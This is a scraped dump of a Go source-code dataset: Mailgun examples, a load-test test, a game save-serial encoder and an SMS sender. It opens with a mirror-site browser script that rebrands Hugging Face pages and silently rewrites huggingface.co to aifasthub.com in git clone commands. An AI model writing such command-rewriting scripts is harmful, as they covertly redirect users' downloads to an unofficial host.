{ // 获取包含Hugging Face文本的span元素 const spans = link.querySelectorAll('span.whitespace-nowrap, span.hidden.whitespace-nowrap'); spans.forEach(span => { if (span.textContent && span.textContent.trim().match(/Hugging\s*Face/i)) { span.textContent = 'AI快站'; } }); }); // 替换logo图片的alt属性 document.querySelectorAll('img[alt*="Hugging"], img[alt*="Face"]').forEach(img => { if (img.alt.match(/Hugging\s*Face/i)) { img.alt = 'AI快站 logo'; } }); } // 替换导航栏中的链接 function replaceNavigationLinks() { // 已替换标记,防止重复运行 if (window._navLinksReplaced) { return; } // 已经替换过的链接集合,防止重复替换 const replacedLinks = new Set(); // 只在导航栏区域查找和替换链接 const headerArea = document.querySelector('header') || document.querySelector('nav'); if (!headerArea) { return; } // 在导航区域内查找链接 const navLinks = headerArea.querySelectorAll('a'); navLinks.forEach(link => { // 如果已经替换过,跳过 if (replacedLinks.has(link)) return; const linkText = link.textContent.trim(); const linkHref = link.getAttribute('href') || ''; // 替换Spaces链接 - 仅替换一次 if ( (linkHref.includes('/spaces') || linkHref === '/spaces' || linkText === 'Spaces' || linkText.match(/^s*Spacess*$/i)) && linkText !== 'OCR模型免费转Markdown' && linkText !== 'OCR模型免费转Markdown' ) { link.textContent = 'OCR模型免费转Markdown'; link.href = 'https://fast360.xyz'; link.setAttribute('target', '_blank'); link.setAttribute('rel', 'noopener noreferrer'); replacedLinks.add(link); } // 删除Posts链接 else if ( (linkHref.includes('/posts') || linkHref === '/posts' || linkText === 'Posts' || linkText.match(/^s*Postss*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } // 替换Docs链接 - 仅替换一次 else if ( (linkHref.includes('/docs') || linkHref === '/docs' || linkText === 'Docs' || linkText.match(/^s*Docss*$/i)) && linkText !== '模型下载攻略' ) { link.textContent = '模型下载攻略'; link.href = '/'; replacedLinks.add(link); } // 删除Enterprise链接 else if ( (linkHref.includes('/enterprise') || linkHref === '/enterprise' || linkText === 'Enterprise' || linkText.match(/^s*Enterprises*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } }); // 查找可能嵌套的Spaces和Posts文本 const textNodes = []; function findTextNodes(element) { if (element.nodeType === Node.TEXT_NODE) { const text = element.textContent.trim(); if (text === 'Spaces' || text === 'Posts' || text === 'Enterprise') { textNodes.push(element); } } else { for (const child of element.childNodes) { findTextNodes(child); } } } // 只在导航区域内查找文本节点 findTextNodes(headerArea); // 替换找到的文本节点 textNodes.forEach(node => { const text = node.textContent.trim(); if (text === 'Spaces') { node.textContent = node.textContent.replace(/Spaces/g, 'OCR模型免费转Markdown'); } else if (text === 'Posts') { // 删除Posts文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } else if (text === 'Enterprise') { // 删除Enterprise文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } }); // 标记已替换完成 window._navLinksReplaced = true; } // 替换代码区域中的域名 function replaceCodeDomains() { // 特别处理span.hljs-string和span.njs-string元素 document.querySelectorAll('span.hljs-string, span.njs-string, span[class*="hljs-string"], span[class*="njs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换hljs-string类的span中的域名(移除多余的转义符号) document.querySelectorAll('span.hljs-string, span[class*="hljs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换pre和code标签中包含git clone命令的域名 document.querySelectorAll('pre, code').forEach(element => { if (element.textContent && element.textContent.includes('git clone')) { const text = element.innerHTML; if (text.includes('huggingface.co')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 处理特定的命令行示例 document.querySelectorAll('pre, code').forEach(element => { const text = element.innerHTML; if (text.includes('huggingface.co')) { // 针对git clone命令的专门处理 if (text.includes('git clone') || text.includes('GIT_LFS_SKIP_SMUDGE=1')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 特别处理模型下载页面上的代码片段 document.querySelectorAll('.flex.border-t, .svelte_hydrator, .inline-block').forEach(container => { const content = container.innerHTML; if (content && content.includes('huggingface.co')) { container.innerHTML = content.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 特别处理模型仓库克隆对话框中的代码片段 try { // 查找包含"Clone this model repository"标题的对话框 const cloneDialog = document.querySelector('.svelte_hydration_boundary, [data-target="MainHeader"]'); if (cloneDialog) { // 查找对话框中所有的代码片段和命令示例 const codeElements = cloneDialog.querySelectorAll('pre, code, span'); codeElements.forEach(element => { if (element.textContent && element.textContent.includes('huggingface.co')) { if (element.innerHTML.includes('huggingface.co')) { element.innerHTML = element.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { element.textContent = element.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); } // 更精确地定位克隆命令中的域名 document.querySelectorAll('[data-target]').forEach(container => { const codeBlocks = container.querySelectorAll('pre, code, span.hljs-string'); codeBlocks.forEach(block => { if (block.textContent && block.textContent.includes('huggingface.co')) { if (block.innerHTML.includes('huggingface.co')) { block.innerHTML = block.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { block.textContent = block.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); }); } catch (e) { // 错误处理但不打印日志 } } // 当DOM加载完成后执行替换 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', () => { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); }); } else { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); } // 增加一个MutationObserver来处理可能的动态元素加载 const observer = new MutationObserver(mutations => { // 检查是否导航区域有变化 const hasNavChanges = mutations.some(mutation => { // 检查是否存在header或nav元素变化 return Array.from(mutation.addedNodes).some(node => { if (node.nodeType === Node.ELEMENT_NODE) { // 检查是否是导航元素或其子元素 if (node.tagName === 'HEADER' || node.tagName === 'NAV' || node.querySelector('header, nav')) { return true; } // 检查是否在导航元素内部 let parent = node.parentElement; while (parent) { if (parent.tagName === 'HEADER' || parent.tagName === 'NAV') { return true; } parent = parent.parentElement; } } return false; }); }); // 只在导航区域有变化时执行替换 if (hasNavChanges) { // 重置替换状态,允许再次替换 window._navLinksReplaced = false; replaceHeaderBranding(); replaceNavigationLinks(); } }); // 开始观察document.body的变化,包括子节点 if (document.body) { observer.observe(document.body, { childList: true, subtree: true }); } else { document.addEventListener('DOMContentLoaded', () => { observer.observe(document.body, { childList: true, subtree: true }); }); } })(); \")\n\t_, id, err := mg.Send(ctx, m)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tlog.Printf(\"Message id=%s\", id)\n}\n\nfunc ExampleMailgunImpl_Send_mime() {\n\texampleMime := `Content-Type: text/plain; charset=\"ascii\"\nSubject: Joe's Example Subject\nFrom: Joe Example \nTo: BARGLEGARF \nContent-Transfer-Encoding: 7bit\nDate: Thu, 6 Mar 2014 00:37:52 +0000\n\nTesting some Mailgun MIME awesomeness!\n`\n\n\tctx, cancel := context.WithTimeout(context.Background(), time.Second*10)\n\tdefer cancel()\n\n\tmg := mailgun.NewMailgun(\"example.com\", \"my_api_key\")\n\tm := mg.NewMIMEMessage(ioutil.NopCloser(strings.NewReader(exampleMime)), \"bargle.garf@example.com\")\n\t_, id, err := mg.Send(ctx, m)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tlog.Printf(\"Message id=%s\", id)\n}\n\nfunc ExampleMailgunImpl_GetRoutes() {\n\tmg := mailgun.NewMailgun(\"example.com\", \"my_api_key\")\n\tctx, cancel := context.WithTimeout(context.Background(), time.Second*10)\n\tdefer cancel()\n\n\tit := mg.ListRoutes(nil)\n\tvar page []mailgun.Route\n\tfor it.Next(ctx, &page) {\n\t\tfor _, r := range page {\n\t\t\tlog.Printf(\"Route pri=%d expr=%s desc=%s\", r.Priority, r.Expression, r.Description)\n\t\t}\n\t}\n\tif it.Err() != nil {\n\t\tlog.Fatal(it.Err())\n\t}\n}\n\nfunc ExampleMailgunImpl_VerifyWebhookSignature() {\n\t// Create an instance of the Mailgun Client\n\tmg, err := mailgun.NewMailgunFromEnv()\n\tif err != nil {\n\t\tfmt.Printf(\"mailgun error: %s\\n\", err)\n\t\tos.Exit(1)\n\t}\n\n\thttp.HandleFunc(\"/\", func(w http.ResponseWriter, r *http.Request) {\n\n\t\tvar payload mailgun.WebhookPayload\n\t\tif err := json.NewDecoder(r.Body).Decode(&payload); err != nil {\n\t\t\tfmt.Printf(\"decode JSON error: %s\", err)\n\t\t\tw.WriteHeader(http.StatusNotAcceptable)\n\t\t\treturn\n\t\t}\n\n\t\tverified, err := mg.VerifyWebhookSignature(payload.Signature)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"verify error: %s\\n\", err)\n\t\t\tw.WriteHeader(http.StatusNotAcceptable)\n\t\t\treturn\n\t\t}\n\n\t\tif !verified {\n\t\t\tw.WriteHeader(http.StatusNotAcceptable)\n\t\t\tfmt.Printf(\"failed verification %+v\\n\", payload.Signature)\n\t\t\treturn\n\t\t}\n\n\t\tfmt.Printf(\"Verified Signature\\n\")\n\n\t\t// Parse the raw event to extract the\n\n\t\te, err := mailgun.ParseEvent(payload.EventData)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"parse event error: %s\\n\", err)\n\t\t\treturn\n\t\t}\n\n\t\tswitch event := e.(type) {\n\t\tcase *events.Accepted:\n\t\t\tfmt.Printf(\"Accepted: auth: %t\\n\", event.Flags.IsAuthenticated)\n\t\tcase *events.Delivered:\n\t\t\tfmt.Printf(\"Delivered transport: %s\\n\", event.Envelope.Transport)\n\t\t}\n\t})\n\n\tfmt.Println(\"Running...\")\n\tif err := http.ListenAndServe(\":9090\", nil); err != nil {\n\t\tfmt.Printf(\"serve error: %s\\n\", err)\n\t\tos.Exit(1)\n\t}\n}\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":793,"cells":{"blob_id":{"kind":"string","value":"414b0d646df24dba3a184112930b4bea56f3f55a"},"language":{"kind":"string","value":"Go"},"repo_name":{"kind":"string","value":"leonardonatali/file-metadata-api"},"path":{"kind":"string","value":"/pkg/users/users_service.go"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":739,"string":"739"},"score":{"kind":"number","value":2.609375,"string":"2.609375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"detected_licenses_right":{"kind":"list like","value":[],"string":"[]"},"license_type_right":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"package users\n\nimport (\n\t\"github.com/leonardonatali/file-metadata-api/pkg/users/dto\"\n\t\"github.com/leonardonatali/file-metadata-api/pkg/users/entities\"\n\t\"github.com/leonardonatali/file-metadata-api/pkg/users/repository\"\n)\n\ntype UsersService struct {\n\tusersRepository repository.UsersRepository\n}\n\nfunc NewUsersService(usersRepository repository.UsersRepository) *UsersService {\n\treturn &UsersService{\n\t\tusersRepository: usersRepository,\n\t}\n}\n\nfunc (s *UsersService) CreateUser(dto *dto.CreateUserDto) (*entities.User, error) {\n\treturn s.usersRepository.CreateUser(&entities.User{\n\t\tToken: dto.Token,\n\t})\n}\n\nfunc (s *UsersService) GetUser(dto *dto.GetUserDto) (*entities.User, error) {\n\treturn s.usersRepository.GetUser(dto.ID, dto.Token)\n}\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":794,"cells":{"blob_id":{"kind":"string","value":"a99ea0581a8e8dcecc37194dbf2773286dbf4577"},"language":{"kind":"string","value":"Go"},"repo_name":{"kind":"string","value":"ksang/stress"},"path":{"kind":"string","value":"/archer/http_archer_test.go"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":556,"string":"556"},"score":{"kind":"number","value":2.84375,"string":"2.84375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"detected_licenses_right":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type_right":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"package archer\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n)\n\nfunc TestHTTPArcher(t *testing.T) {\n\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tfmt.Fprintln(w, \"Hello, client\")\n\t}))\n\tdefer ts.Close()\n\n\tcfg := Config{\n\t\tTarget: ts.URL,\n\t\tInterval: \"1ms\",\n\t\tConnNum: 10,\n\t\tData: []byte{1, 2, 3},\n\t\tPrintLog: true,\n\t\tPrintError: true,\n\t\tNum: 10000,\n\t}\n\n\tt.Logf(\"Archer launching at: %s\\n\", ts.URL)\n\n\tif err := StartHTTPArcher(cfg); err != nil {\n\t\tt.Errorf(\"%s\", err)\n\t}\n}\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":795,"cells":{"blob_id":{"kind":"string","value":"e48ccb1873f81cd1dfc362ecf1331b4bb01c721d"},"language":{"kind":"string","value":"Go"},"repo_name":{"kind":"string","value":"aismirnov/bl3-save"},"path":{"kind":"string","value":"/internal/item/item.go"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":8389,"string":"8,389"},"score":{"kind":"number","value":2.515625,"string":"2.515625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"detected_licenses_right":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type_right":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"package item\n\nimport (\n\t\"encoding/binary\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"hash/crc32\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/cfi2017/bl3-save/pkg/pb\"\n)\n\nvar (\n\tdb PartsDatabase\n\tbtik map[string]string\n\tonce = sync.Once{}\n\tdebug bool\n)\n\ntype Item struct {\n\tLevel int `json:\"level\"`\n\tBalance string `json:\"balance\"`\n\tManufacturer string `json:\"manufacturer\"`\n\tInvData string `json:\"inv_data\"`\n\tParts []string `json:\"parts\"`\n\tGenerics []string `json:\"generics\"`\n\tOverflow string `json:\"overflow\"`\n\tVersion uint64 `json:\"version\"`\n\tWrapper *pb.OakInventoryItemSaveGameData `json:\"wrapper\"`\n}\n\nfunc GetDB() PartsDatabase {\n\tvar err error\n\tonce.Do(func() {\n\t\tbtik, err = loadPartMap(\"balance_to_inv_key.json\")\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tdb, err = loadPartsDatabase(\"inventory_raw.json\")\n\t})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn db\n}\n\nfunc GetBtik() map[string]string {\n\tvar err error\n\tonce.Do(func() {\n\t\tbtik, err = loadPartMap(\"balance_to_inv_key.json\")\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tdb, err = loadPartsDatabase(\"inventory_raw.json\")\n\t})\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn btik\n}\n\nfunc DecryptSerial(data []byte) ([]byte, error) {\n\tif len(data) < 5 {\n\t\treturn nil, errors.New(\"invalid serial length\")\n\t}\n\tif data[0] != 0x03 {\n\t\treturn nil, errors.New(\"invalid serial\")\n\t}\n\tseed := int32(binary.BigEndian.Uint32(data[1:])) // next four bytes of serial are bogo seed\n\tdecrypted := bogoDecrypt(seed, data[5:])\n\tcrc := binary.BigEndian.Uint16(decrypted) // first two bytes of decrypted data are crc checksum\n\tcombined := append(append(data[:5], 0xFF, 0xFF), decrypted[2:]...) // combined data with checksum replaced with 0xFF to compute checksum\n\tcomputedChecksum := crc32.ChecksumIEEE(combined)\n\tcheck := uint16(((computedChecksum) >> 16) ^ ((computedChecksum & 0xFFFF) >> 0))\n\n\tif crc != check {\n\t\treturn nil, errors.New(\"checksum failure in packed data\")\n\t}\n\n\treturn decrypted[2:], nil\n}\n\nfunc EncryptSerial(data []byte, seed int32) ([]byte, error) {\n\tprefix := []byte{0x03}\n\tseedBytes := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(seedBytes, uint32(seed))\n\tprefix = append(prefix, seedBytes...)\n\tprefix = append(prefix, 0xFF, 0xFF)\n\tdata = append(prefix, data...)\n\tcrc := crc32.ChecksumIEEE(data)\n\tchecksum := ((crc >> 16) ^ crc) & 0xFFFF\n\tsumBytes := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(sumBytes, uint16(checksum))\n\tdata[5], data[6] = sumBytes[0], sumBytes[1] // set crc\n\n\treturn append(append([]byte{0x03}, seedBytes...), bogoEncrypt(seed, data[5:])...), nil\n\n}\n\nfunc bogoEncrypt(seed int32, data []byte) []byte {\n\tif seed == 0 {\n\t\treturn data\n\t}\n\n\tsteps := int(seed&0x1F) % len(data)\n\tdata = append(data[steps:], data[:steps]...)\n\treturn xor(seed, data)\n}\n\nfunc GetSeedFromSerial(data []byte) (int32, error) {\n\tif len(data) < 5 {\n\t\treturn 0, errors.New(\"invalid serial length\")\n\t}\n\treturn int32(binary.BigEndian.Uint32(data[1:])), nil\n}\n\nfunc bogoDecrypt(seed int32, data []byte) []byte {\n\tif seed == 0 {\n\t\treturn data\n\t}\n\n\tdata = xor(seed, data)\n\tsteps := int(seed&0x1F) % len(data)\n\treturn append(data[len(data)-steps:], data[:len(data)-steps]...)\n}\n\nfunc xor(seed int32, data []byte) []byte {\n\tx := uint64(seed>>5) & 0xFFFFFFFF\n\t// target 4248340707\n\tfor i := range data {\n\t\tx = (x * 0x10A860C1) % 0xFFFFFFFB\n\t\tdata[i] = byte((uint64(data[i]) ^ x) & 0xFF)\n\t}\n\treturn data\n}\n\nfunc Deserialize(data []byte) (item Item, err error) {\n\tdata, err = DecryptSerial(data)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tr := NewReader(data)\n\tnum := readNBits(r, 8)\n\tif num != 128 {\n\t\terr = errors.New(\"value should be 128\")\n\t\treturn\n\t}\n\n\tonce.Do(func() {\n\t\tbtik, err = loadPartMap(\"balance_to_inv_key.json\")\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tdb, err = loadPartsDatabase(\"inventory_raw.json\")\n\t})\n\tif err != nil {\n\t\treturn\n\t}\n\n\titem.Version = readNBits(r, 7)\n\n\tbalanceBits := getBits(\"InventoryBalanceData\", item.Version)\n\tinvDataBits := getBits(\"InventoryData\", item.Version)\n\tmanBits := getBits(\"ManufacturerData\", item.Version)\n\n\tif debug {\n\t\tlog.Printf(\"Got version: %v - balance bits: %v, invdata bits: %v, man bits: %v\\n\",\n\t\t\titem.Version, balanceBits, invDataBits, manBits,\n\t\t)\n\t}\n\n\titem.Balance = getPart(\"InventoryBalanceData\", readNBits(r,\n\t\tbalanceBits)-1)\n\titem.InvData = getPart(\"InventoryData\", readNBits(r,\n\t\tinvDataBits)-1)\n\titem.Manufacturer = getPart(\"ManufacturerData\", readNBits(r,\n\t\tmanBits)-1)\n\titem.Level = int(readNBits(r, 7))\n\n\tif k, e := btik[strings.ToLower(item.Balance)]; e {\n\t\tbits := getBits(k, item.Version)\n\t\tpartCount := int(readNBits(r, 6))\n\t\titem.Parts = make([]string, partCount)\n\t\tfor i := 0; i < partCount; i++ {\n\t\t\titem.Parts[i] = getPart(k, readNBits(r, bits)-1)\n\t\t}\n\t\tgenericCount := readNBits(r, 4)\n\t\titem.Generics = make([]string, genericCount)\n\t\tbits = getBits(\"InventoryGenericPartData\", item.Version)\n\t\tfor i := 0; i < int(genericCount); i++ {\n\t\t\t// looks like the bits are the same\n\t\t\t// for all the parts and generics\n\t\t\titem.Generics[i] = getPart(\"InventoryGenericPartData\", readNBits(r, bits)-1)\n\t\t}\n\t\titem.Overflow = r.Overflow()\n\n\t} else {\n\t\terr = errors.New(fmt.Sprintf(\"unknown category %s, skipping part introspection\", item.Balance))\n\t}\n\n\treturn\n}\n\nfunc getBits(k string, v uint64) int {\n\treturn db.GetData(k).GetBits(v)\n}\n\nfunc Serialize(item Item, seed int32) ([]byte, error) {\n\tw := NewWriter(item.Overflow)\n\tvar err error\n\n\tonce.Do(func() {\n\t\tbtik, err = loadPartMap(\"balance_to_inv_key.json\")\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tdb, err = loadPartsDatabase(\"inventory_raw.json\")\n\t})\n\n\t// how many bits for each generic part?\n\tbits := getBits(\"InventoryGenericPartData\", item.Version)\n\n\t// write each generic, bottom to top\n\tfor i := len(item.Generics) - 1; i >= 0; i-- {\n\t\tindex := getIndexFor(\"InventoryGenericPartData\", item.Generics[i]) + 1\n\t\terr := w.WriteInt(uint64(index), bits)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"tried to fit index %v into %v bits for %s\", index, bits, item.Generics[i])\n\t\t\treturn nil, err\n\t\t}\n\t}\n\t// write generic count\n\terr = w.WriteInt(uint64(len(item.Generics)), 4)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif k, e := btik[strings.ToLower(item.Balance)]; e {\n\t\t// how many bits per part?\n\t\tbits = getBits(k, item.Version)\n\t\t// write each part, bottom to top\n\t\tfor i := len(item.Parts) - 1; i >= 0; i-- {\n\t\t\terr := w.WriteInt(uint64(getIndexFor(k, item.Parts[i]))+1, bits)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\t// write part count\n\t\terr = w.WriteInt(uint64(len(item.Parts)), 6)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\terr = w.WriteInt(uint64(item.Level), 7)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmanIndex := getIndexFor(\"ManufacturerData\", item.Manufacturer) + 1\n\tmanBits := getBits(\"ManufacturerData\", item.Version)\n\terr = w.WriteInt(uint64(manIndex), manBits)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tinvIndex := getIndexFor(\"InventoryData\", item.InvData) + 1\n\tinvBits := getBits(\"InventoryData\", item.Version)\n\terr = w.WriteInt(uint64(invIndex), invBits)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbalanceIndex := getIndexFor(\"InventoryBalanceData\", item.Balance) + 1\n\tbalanceBits := getBits(\"InventoryBalanceData\", item.Version)\n\terr = w.WriteInt(uint64(balanceIndex), balanceBits)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = w.WriteInt(item.Version, 7)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = w.WriteInt(128, 8)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn EncryptSerial(w.GetBytes(), seed)\n\n}\n\nfunc getIndexFor(k string, v string) int {\n\tfor i, asset := range db.GetData(k).Assets {\n\t\tif asset == v {\n\t\t\treturn i\n\t\t}\n\t}\n\tpanic(\"no asset found while serializing\")\n}\n\nfunc getPart(key string, index uint64) string {\n\tdata := db.GetData(key)\n\tif int(index) >= len(data.Assets) {\n\t\treturn \"\"\n\t}\n\treturn data.GetPart(index)\n}\n\nfunc readNBits(r *Reader, n int) uint64 {\n\ti, err := r.ReadInt(n)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn i\n}\n\nfunc loadPartMap(file string) (m map[string]string, err error) {\n\tbs, err := ioutil.ReadFile(file)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = json.Unmarshal(bs, &m)\n\treturn\n}\n\nfunc loadPartsDatabase(file string) (db PartsDatabase, err error) {\n\tbs, err := ioutil.ReadFile(file)\n\tif err != nil {\n\t\treturn\n\t}\n\terr = json.Unmarshal(bs, &db)\n\treturn\n}\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":796,"cells":{"blob_id":{"kind":"string","value":"e38bab04584aa1a361036d29b80729ff3ce1d876"},"language":{"kind":"string","value":"Go"},"repo_name":{"kind":"string","value":"baiyishaoxia/goWeb"},"path":{"kind":"string","value":"/src/app/models/sms.go"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":2899,"string":"2,899"},"score":{"kind":"number","value":2.625,"string":"2.625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"detected_licenses_right":{"kind":"list like","value":[],"string":"[]"},"license_type_right":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"package models\n\nimport (\n\t\"app\"\n\t\"databases\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/url\"\n)\n\ntype Sms struct {\n\tId int32 `json:\"id\"`\n\tName string `json:\"name\"` // 短信类型\n\tSign string `json:\"sign\"` // 短信签名\n\tIsEnable bool `json:\"not null default false BOOL\"` // 是否开启true 开启,false关闭\n\tKey string `json:\"key\"` // 唯一标识分类\n\tCreatedAt app.Time `xorm:\"created\" json:\"created_at\"`\n\tUpdatedAt app.Time `xorm:\"updated\" json:\"-\"`\n}\n\ntype SmsInfo struct {\n\tSms `xorm:\"extends\"`\n\tSmsKey `xorm:\"extends\"`\n}\n\n//region 获取模板签名、秘钥 [prefix:手机号前缀 YunPian:中文签名 YunPianEng:英文签名] Author:tang\nfunc GetSmsInfo(prefix string) *SmsInfo {\n\tsms_info := new(SmsInfo)\n\tif prefix == \"+86\" {\n\t\thas, err := databases.Orm.Table(\"sms\").Join(\"LEFT\", \"sms_key\", \"sms.id = sms_key.sms_id\").\n\t\t\tWhere(\"sms.key = ?\", \"YunPian\").Get(sms_info)\n\t\tif err != nil {\n\t\t\tfmt.Println(err.Error())\n\t\t\treturn nil\n\t\t}\n\t\tif has == false {\n\t\t\tfmt.Println(\"获取YunPian失败\")\n\t\t\treturn nil\n\t\t}\n\t} else {\n\t\thas, err := databases.Orm.Table(\"sms\").Join(\"LEFT\", \"sms_key\", \"sms.id = sms_key.sms_id\").\n\t\t\tWhere(\"sms.key = ?\", \"YunPianEng\").Get(sms_info)\n\t\tif err != nil {\n\t\t\tfmt.Println(err.Error())\n\t\t\treturn nil\n\t\t}\n\t\tif has == false {\n\t\t\tfmt.Println(\"获取YunPianEng失败\")\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn sms_info\n}\n\n//endregion\n\n\n//region 短信类型 [flag: 内容类型] Author:tang\nfunc SendSmsByType(flag int64, user_id int64, title string) {\n\tuser := GetUserById(user_id)\n\tprefix := user.AreaCode\n\tsms_info := GetSmsInfo(prefix)\n\tapikey := sms_info.SmsKey.Key // 运营商秘钥\n\tsign := sms_info.Sms.Sign // 短信签名\n\tvar text string\n\t//-------根据flag 调用模板-------\n\tswitch flag {\n\tcase 1:\n\t\ttext = \"【\" + sign + \"】\" + \"您好\"\n\t\tbreak\n\tcase 2:\n\t\ttext = \"【\" + sign + \"】\" + \"\"\n\t\tbreak\n\tcase 3:\n\t\ttext = \"【\" + sign + \"】\" + \"\"\n\t\tbreak\n\tcase 4:\n\t\ttext = \"【\" + sign + \"】\" + \"\"\n\t\tbreak\n\tcase 5:\n\t\ttext = \"【\" + sign + \"】\" + \"\"\n\t\tbreak\n\tcase 6:\n\t\ttext = \"【\" + sign + \"】\" + \"\"\n\t\tbreak\n\t}\n\tdeal_mobile := prefix + user.Mobile\n\turl_send_sms := \"https://sms.yunpian.com/v2/sms/single_send.json\"\n\tdata_send_sms := url.Values{\"apikey\": {apikey}, \"mobile\": {deal_mobile}, \"text\": {text}}\n\t//发送请求\n\tresp, err := http.PostForm(url_send_sms, data_send_sms)\n\tif err != nil {\n\t\tfmt.Println(err.Error()) // handle error\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\n\tif err != nil {\n\t\tfmt.Println(err.Error()) // handle error\n\t}\n\tsmsData := make(map[string]interface{})\n\tjson.Unmarshal(body, &smsData)\n\t//回调参数发送成功还是失败\n\ta := smsData[\"code\"].(float64)\n\tif a != 0 {\n\t\tfmt.Println(\"发送失败\")\n\t} else {\n\t\tfmt.Println(\"发送成功\")\n\t}\n\t//endregion\n}\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":797,"cells":{"blob_id":{"kind":"string","value":"67c8968385e8536836e5d734020855097c74cbdb"},"language":{"kind":"string","value":"Go"},"repo_name":{"kind":"string","value":"dgmann/document-manager"},"path":{"kind":"string","value":"/api/internal/http/websocket.go"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1933,"string":"1,933"},"score":{"kind":"number","value":2.6875,"string":"2.6875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"detected_licenses_right":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type_right":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"package http\n\nimport 